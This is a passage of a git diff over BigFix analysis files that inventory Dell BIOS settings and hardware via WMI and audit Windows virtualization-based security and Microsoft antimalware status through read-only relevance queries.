+    <Property ID="15" Name="USB" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;USB&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;USB&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
+    <Property ID="16" Name="Signed Firmware Update" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Signed Firmware Update&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Signed Firmware Update&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
+    <Property ID="17" Name="TPM PPI ACPI Support" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;TPM PPI ACPI Support&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;TPM PPI ACPI Support&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
+    <Property ID="18" Name="Trusted Execution" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Trusted Execution&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Trusted Execution&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
+    <Property ID="19" Name="OROM Keyboard Access" EvaluationPeriod="PT6H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;OROM Keyboard Access&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;OROM Keyboard Access&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
+    <Property ID="20" Name="Enable Legacy Option ROMs" EvaluationPeriod="PT6H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Enable Legacy Option ROMs&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Enable Legacy Option ROMs&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
+    <Property ID="21" Name="Wake-On-LAN" EvaluationPeriod="PT12H">(string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Wake-On-LAN&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
+    <Property ID="22" Name="Processor Virtualization Technology" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Processor Virtualization Technology&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Processor Virtualization Technology&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
+    <Property ID="23" Name="AC Power Recovery Mode" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;AC Power Recovery Mode&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;AC Power Recovery Mode&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
+    <Property ID="24" Name="Embedded SATA Controller" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Embedded SATA Controller&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Embedded SATA Controller&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
+    <Property ID="25" Name="CurrentValueName of Attributes of DCIM_BIOSEnumeration" EvaluationPeriod="P2D">unique values of (item 0 of it &amp; &quot;: &quot; &amp; unique value of (if ( /* 0 means there are no options to choose from */ (0 = item 1 of it as integer) OR /* 0 means the selection is invalid */ (0 = following text of last &quot;, &quot; of item 2 of it as integer) OR /* if the selection is outside the number of possible values, then it is invalid */ (item 1 of it as integer &lt; following text of last &quot;, &quot; of item 2 of it as integer) ) then &quot;UNKNOWN&quot; else ( (tuple string items ( (it as integer - 1) of following text of last &quot;, &quot; of it ) of item 2 of it) of it ) ) of it) of (string value of property &quot;AttributeName&quot; of it , number of string values of properties &quot;PossibleValuesDescription&quot; of it, (concatenation &quot;, &quot; of (if exists it whose(it as trimmed string != &quot;&quot;) then it else &quot;UNKOWN&quot;) of string values of properties &quot;PossibleValuesDescription&quot; of it) &amp; &quot;, &quot; &amp; (if (exists string values whose(it != &quot;0&quot;) of properties &quot;CurrentValue&quot; of it) then (string value of properties &quot;CurrentValue&quot; of it) else &quot;0&quot;) ) of ( select objects &quot;AttributeName,CurrentValue,PossibleValuesDescription from DCIM_BIOSEnumeration&quot; of it ; select objects &quot;AttributeName,CurrentValue,PossibleValuesDescription from CIM_BIOSEnumeration&quot; of it ) of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="26" Name="exists &quot;root\DELLOMCI&quot;" EvaluationPeriod="PT6H">exists wmi &quot;root\DELLOMCI&quot;</Property>
+    <Property ID="27" Name="DCIM_EthernetPort" EvaluationPeriod="PT12H">selects &quot;ElementName,PermanentAddress,EnabledDefault,EnabledState,LinkTechnology,TOEEnabledState from DCIM_EthernetPort&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="28" Name="DCIM_Chassis" EvaluationPeriod="PT12H">selects &quot;BreachDescription,ChassisPackageType,FirstPowerOnDate,ManufactureDate,PackageType,SecurityBreach from DCIM_Chassis&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="29" Name="DCIM_Chip" EvaluationPeriod="PT12H">selects &quot;Manufacturer,ElementName,Model,ElementName from DCIM_Chip&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="30" Name="DCIM_DesktopMonitor" EvaluationPeriod="PT12H">selects &quot;Description,ColorDepthBits,ColorModePreset,DisplayMode,EDIDGamma,EDIDVersionNumber,HealthState,ManufactureDate,PhysicalSizeH,PhysicalSizeV,PrimaryStatus,ProductCode,SerialNumber,StandbyModeSupported,SuspendModeSupported,VeryLowPowerSupported from DCIM_DesktopMonitor&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="31" Name="DCIM_ControllerView" EvaluationPeriod="PT12H">selects &quot;BusType,ControllerFirmwareVersion,Device,DriverVersion,ElementName,PrimaryStatus,ProductName from DCIM_ControllerView&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="32" Name="DCIM_PhysicalMemory" EvaluationPeriod="PT12H">selects &quot;BankLabel,Capacity,DataWidth,ElementName,FormFactor,ManufactureDate,Manufacturer,MemoryType,Model,PartNumber,SerialNumber,SKU,Speed from DCIM_PhysicalMemory&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="33" Name="DCIM_Slot" EvaluationPeriod="PT12H">selects &quot;ConnectorDescription,ConnectorLayout,ConnectorType,ElementName,Number from DCIM_Slot&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="34" Name="DCIM_USBPort" EvaluationPeriod="PT12H">selects &quot;ElementName,EnabledDefault,EnabledState,HealthState from DCIM_USBPort&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="35" Name="DCIM_Memory" EvaluationPeriod="PT12H">selects &quot;BlockSize,ElementName,EnabledState,HealthState,NumberOfBlocks,PrimaryStatus from DCIM_Memory&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="36" Name="DCIM_PCIDevice" EvaluationPeriod="PT12H">selects &quot;BusNumber,Description,DeviceNumber,ElementName,EnabledState,FunctionNumber,HealthState,PrimaryStatus from DCIM_PCIDevice&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="37" Name="DCIM_DisplayController" EvaluationPeriod="PT12H">selects &quot;ElementName,Name from DCIM_DisplayController&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="38" Name="DCIM_Fan" EvaluationPeriod="PT12H">selects &quot;ActiveCooling,ElementName,EnabledState,HealthState,PrimaryStatus,VariableSpeed from DCIM_Fan&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="39" Name="DCIM_NumericSensor" EvaluationPeriod="PT12H">selects &quot;BaseUnits,CurrentState,ElementName,EnabledState,HealthState,PrimaryStatus,RateUnits,SensorType,ValueFormulation from DCIM_NumericSensor&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="40" Name="DCIM_Sensor" EvaluationPeriod="PT12H">selects &quot;CurrentState,ElementName,EnabledState,HealthState,PrimaryStatus,SensorType from DCIM_Sensor&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="41" Name="DCIM_Button" EvaluationPeriod="PT12H">selects &quot;ButtonPurpose,ButtonType,DeviceID from DCIM_Button&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="42" Name="DCIM_BootSourceSetting" EvaluationPeriod="PT12H">selects &quot;ElementName,FailThroughSupported,StructuredBootString from DCIM_BootSourceSetting&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="43" Name="DCIM_AssetAcquisition" EvaluationPeriod="PT12H">selects &quot;* from DCIM_AssetAcquisition&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="44" Name="DCIM_AssetSystemInformation" EvaluationPeriod="PT12H">selects &quot;* from DCIM_AssetSystemInformation&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="45" Name="DCIM_Location" EvaluationPeriod="PT12H">selects &quot;* from DCIM_Location&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="46" Name="DCIM_AssetSupportInformation" EvaluationPeriod="PT12H">selects &quot;* from DCIM_AssetSupportInformation&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="47" Name="DCIM_AssetOwnerInformation" EvaluationPeriod="PT12H">selects &quot;* from DCIM_AssetOwnerInformation&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="48" Name="Owner Tag" EvaluationPeriod="P1D">(it as trimmed string) of string values whose(it as trimmed string != &quot;&quot;) of selects &quot;PropertyOwnershipTag from DCIM_Chassis&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="49" Name="Asset Tag" EvaluationPeriod="P1D">(it as trimmed string) of string values whose(it as trimmed string != &quot;&quot;) of selects &quot;ElementName from DCIM_Chassis&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="50" Name="DCIM_Battery" EvaluationPeriod="PT12H">selects &quot;* from DCIM_Battery&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="51" Name="WoL - Possible Values Desc" EvaluationPeriod="PT12H">concatenations &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Wake-On-LAN&apos;&quot; of wmi &quot;root\dcim\sysman&quot;)</Property>
+    <Property ID="52" Name="WoL - StringDesc">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Wake-On-LAN&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of &quot;Disable, 2, 3, LAN, 5, 6, LAN with PXE Boot&quot; | ERROR &quot;UNKNOWN&quot;</Property>
+    <Property ID="53" Name="WoL - Possible Values #" EvaluationPeriod="PT12H">concatenations &quot;, &quot; of (string values of selects &quot;PossibleValues from DCIM_BIOSEnumeration where AttributeName=&apos;Wake-On-LAN&apos;&quot; of wmi &quot;root\dcim\sysman&quot;)</Property>
+    <Property ID="54" Name="Deep Sleep Control" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Deep Sleep Control&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Deep Sleep Control&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Deep Sleep Control&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Virtualization Based Security - Windows (2998545).bes b/Sites/Windows Management/Fixlets/Analyses/Virtualization Based Security - Windows (2998545).bes
index ada8481ad..5e497f754 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Virtualization Based Security - Windows (2998545).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Virtualization Based Security - Windows (2998545).bes	
@@ -1,31 +1,31 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Virtualization Based Security - Windows
-  ID       : 2998545
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-04-14T07:45:09
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Virtualization Based Security - Windows</Title>
-    <Description>This analysis provides details regarding the capabilities of a Windows device with regards to Virtualization Based Security (Device Guard, Credential Guard, etc) </Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="VBS - Hypervisor Support - Windows" EvaluationPeriod="P1D">set of (integer values of property &quot;AvailableSecurityProperties&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;) contains 1</Property>
-    <Property ID="2" Name="VBS - Secure Boot Enabled - Windows" EvaluationPeriod="P1D">set of (integer values of property &quot;AvailableSecurityProperties&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;) contains 2</Property>
-    <Property ID="3" Name="VBS - DMA Protection Available - Windows" EvaluationPeriod="P1D">set of (integer values of property &quot;AvailableSecurityProperties&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;) contains 3</Property>
-    <Property ID="4" Name="VBS - Credential Guard Configured - Windows" EvaluationPeriod="P1D">set of (integer values of property &quot;SecurityServicesConfigured&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;) contains 1</Property>
-    <Property ID="5" Name="VBS - HVCI Configured - Windows" EvaluationPeriod="P1D">set of (integer values of property &quot;SecurityServicesConfigured&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;) contains 2</Property>
-    <Property ID="6" Name="VBS - Credential Guard Running - Windows" EvaluationPeriod="P1D">set of (integer values of property &quot;SecurityServicesRunning&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;) contains 1</Property>
-    <Property ID="7" Name="VBS - HVCI Running - Windows" EvaluationPeriod="P1D">set of (integer values of property &quot;SecurityServicesRunning&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;) contains 2</Property>
-    <Property ID="8" Name="VBS - Configured - Windows" EvaluationPeriod="P1D"> (it contains 1 or it contains 2) of set of (integer values of property &quot;VirtualizationBasedSecurityStatus&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;)</Property>
-    <Property ID="9" Name="VBS - Running - Windows" EvaluationPeriod="P1D">(it contains 2) of set of (integer values of property &quot;VirtualizationBasedSecurityStatus&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;)</Property>
-    <Property ID="10" Name="VBS - Error Logs - Windows" EvaluationPeriod="P1D">descriptions of records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 1000;item 1 of it))) of (record count of it, oldest record number of it)) whose (source of it = &quot;Microsoft-Windows-Wininit&quot; and (event id of it = 15 or event id of it = 16 or event id of it = 17)) of system event log</Property>
-    <Property ID="11" Name="VBS - Remote Credential Guard - Windows" EvaluationPeriod="P1D">exists values &quot;DisableRestrictedAdmin&quot; whose (it = 0) of keys &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa&quot; of native registry</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Virtualization Based Security - Windows
+  ID       : 2998545
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-04-14T07:45:09
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Virtualization Based Security - Windows</Title>
+    <Description>This analysis provides details regarding the capabilities of a Windows device with regards to Virtualization Based Security (Device Guard, Credential Guard, etc) </Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="VBS - Hypervisor Support - Windows" EvaluationPeriod="P1D">set of (integer values of property &quot;AvailableSecurityProperties&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;) contains 1</Property>
+    <Property ID="2" Name="VBS - Secure Boot Enabled - Windows" EvaluationPeriod="P1D">set of (integer values of property &quot;AvailableSecurityProperties&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;) contains 2</Property>
+    <Property ID="3" Name="VBS - DMA Protection Available - Windows" EvaluationPeriod="P1D">set of (integer values of property &quot;AvailableSecurityProperties&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;) contains 3</Property>
+    <Property ID="4" Name="VBS - Credential Guard Configured - Windows" EvaluationPeriod="P1D">set of (integer values of property &quot;SecurityServicesConfigured&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;) contains 1</Property>
+    <Property ID="5" Name="VBS - HVCI Configured - Windows" EvaluationPeriod="P1D">set of (integer values of property &quot;SecurityServicesConfigured&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;) contains 2</Property>
+    <Property ID="6" Name="VBS - Credential Guard Running - Windows" EvaluationPeriod="P1D">set of (integer values of property &quot;SecurityServicesRunning&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;) contains 1</Property>
+    <Property ID="7" Name="VBS - HVCI Running - Windows" EvaluationPeriod="P1D">set of (integer values of property &quot;SecurityServicesRunning&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;) contains 2</Property>
+    <Property ID="8" Name="VBS - Configured - Windows" EvaluationPeriod="P1D"> (it contains 1 or it contains 2) of set of (integer values of property &quot;VirtualizationBasedSecurityStatus&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;)</Property>
+    <Property ID="9" Name="VBS - Running - Windows" EvaluationPeriod="P1D">(it contains 2) of set of (integer values of property &quot;VirtualizationBasedSecurityStatus&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;)</Property>
+    <Property ID="10" Name="VBS - Error Logs - Windows" EvaluationPeriod="P1D">descriptions of records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 1000;item 1 of it))) of (record count of it, oldest record number of it)) whose (source of it = &quot;Microsoft-Windows-Wininit&quot; and (event id of it = 15 or event id of it = 16 or event id of it = 17)) of system event log</Property>
+    <Property ID="11" Name="VBS - Remote Credential Guard - Windows" EvaluationPeriod="P1D">exists values &quot;DisableRestrictedAdmin&quot; whose (it = 0) of keys &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa&quot; of native registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/WD - MSE - SCEP - Microsoft Antimalware Audit - Windows (2994634).bes b/Sites/Windows Management/Fixlets/Analyses/WD - MSE - SCEP - Microsoft Antimalware Audit - Windows (2994634).bes
index ee11902d5..698913b7b 100644
--- a/Sites/Windows Management/Fixlets/Analyses/WD - MSE - SCEP - Microsoft Antimalware Audit - Windows (2994634).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/WD - MSE - SCEP - Microsoft Antimalware Audit - Windows (2994634).bes	
@@ -1,40 +1,40 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : WD - MSE - SCEP - Microsoft Antimalware Audit - Windows
-  ID       : 2994634
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2014-01-30T15:02:55
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>WD - MSE - SCEP - Microsoft Antimalware Audit - Windows</Title>
-    <Description><![CDATA[<P><STRONG>Windows XP through Windows 7:</STRONG>&nbsp; Microsoft Security Essentials</P>
-<P><STRONG>Windows 8 and higher:</STRONG>&nbsp; Windows Defender</P>
-<P><STRONG>Managed version:&nbsp;</STRONG> System Center Endpoint Protection, formerly ForeFront</P>
-<P>Windows Vista and Windows 7 also have something called "Windows Defender" which was much more limited than MSE. Windows 8 has both of these 'products' rolled into one name.</P>
-<P>&nbsp;</P>
-<P>Latest Version of this Analysis can be found here:&nbsp; <A href="http://bigfix.me/analysis/details/2994633">http://bigfix.me/analysis/details/2994633</A></P>]]></Description>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <Relevance><![CDATA[/* Windows Vista or Higher */ version of operating system >= "6.0"]]></Relevance>
-    <Relevance><![CDATA[( /* Check for MSE/SCEP install */ (exists keys "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft Security Client" of native registry) OR (exists keys "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware" of native registry)) OR (/* Windows 8 or Higher has it built in */ version of operating system >= "6.2")]]></Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 30 Jan 2014 21:49:19 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="ProductType" EvaluationPeriod="P2D">values &quot;ProductType&quot; of (keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware&quot; of native registry ; keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender&quot; of native registry)</Property>
-    <Property ID="2" Name="AntiSpywareDisabled?" EvaluationPeriod="P2D">values &quot;DisableAntiSpyware&quot; of (keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware&quot; of native registry ; keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender&quot; of native registry)</Property>
-    <Property ID="4" Name="File Versions" EvaluationPeriod="P2D">(multiplicity of it, it) of unique values of versions of files whose(exists version of it) of folders ((if (version of client &lt; &quot;8.1&quot;) then it else if (x64 of operating system) then (expand x64 environment string of it) else (expand environment string of it)) of ((preceding texts of lasts &quot;\&quot; of (it as string)) of values &quot;RemediationExe&quot; of (keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware&quot; of native registry ; keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender&quot; of native registry)))</Property>
-    <Property ID="5" Name="Folder" EvaluationPeriod="P2D">((if (version of client &lt; &quot;8.1&quot;) then it else if (x64 of operating system) then (expand x64 environment string of it) else (expand environment string of it)) of ((preceding texts of lasts &quot;\&quot; of (it as string)) of values &quot;RemediationExe&quot; of (keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware&quot; of native registry ; keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender&quot; of native registry)))</Property>
-    <Property ID="6" Name="#Days To Delete Quarantined" EvaluationPeriod="P2D">(values &quot;PurgeItemsAfterDelay&quot; of keys &quot;Quarantine&quot; of (keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware&quot; of native registry ; keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender&quot; of native registry))</Property>
-    <Property ID="7" Name="ReportUnknownsToMS?" EvaluationPeriod="P2D">/* http://technet.microsoft.com/en-us/library/bb418859.aspx */ (unique values of (it as string) of values &quot;SpyNetReporting&quot; of keys &quot;Spynet&quot; of (keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware&quot; of native registry ; keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender&quot; of native registry))</Property>
-    <Property ID="8" Name="AntiMalware Def. Version" EvaluationPeriod="P2D">unique values of (it as string) of values whose(name of it = &quot;ASSignatureVersion&quot; OR name of it = &quot;AVSignatureVersion&quot;) of keys &quot;Signature Updates&quot; of (keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware&quot; of native registry ; keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender&quot; of native registry)</Property>
-    <Property ID="9" Name="AntiMalware Engine Version" EvaluationPeriod="P2D">unique values of (it as string) of values &quot;EngineVersion&quot; of keys &quot;Signature Updates&quot; of (keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware&quot; of native registry ; keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender&quot; of native registry)</Property>
-    <Property ID="10" Name="NetIntrusion Engine Version" EvaluationPeriod="P2D">unique values of (it as string) of values &quot;NISEngineVersion&quot; of keys &quot;Signature Updates&quot; of (keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware&quot; of native registry ; keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender&quot; of native registry)</Property>
-    <Property ID="11" Name="NetIntrusion Def. Version" EvaluationPeriod="P2D">unique values of (it as string) of values &quot;NISSignatureVersion&quot; of keys &quot;Signature Updates&quot; of (keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware&quot; of native registry ; keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender&quot; of native registry)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : WD - MSE - SCEP - Microsoft Antimalware Audit - Windows
+  ID       : 2994634
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-01-30T15:02:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>WD - MSE - SCEP - Microsoft Antimalware Audit - Windows</Title>
+    <Description><![CDATA[<P><STRONG>Windows XP through Windows 7:</STRONG>&nbsp; Microsoft Security Essentials</P>
+<P><STRONG>Windows 8 and higher:</STRONG>&nbsp; Windows Defender</P>
+<P><STRONG>Managed version:&nbsp;</STRONG> System Center Endpoint Protection, formerly ForeFront</P>
+<P>Windows Vista and Windows 7 also have something called "Windows Defender" which was much more limited than MSE. Windows 8 has both of these 'products' rolled into one name.</P>
+<P>&nbsp;</P>
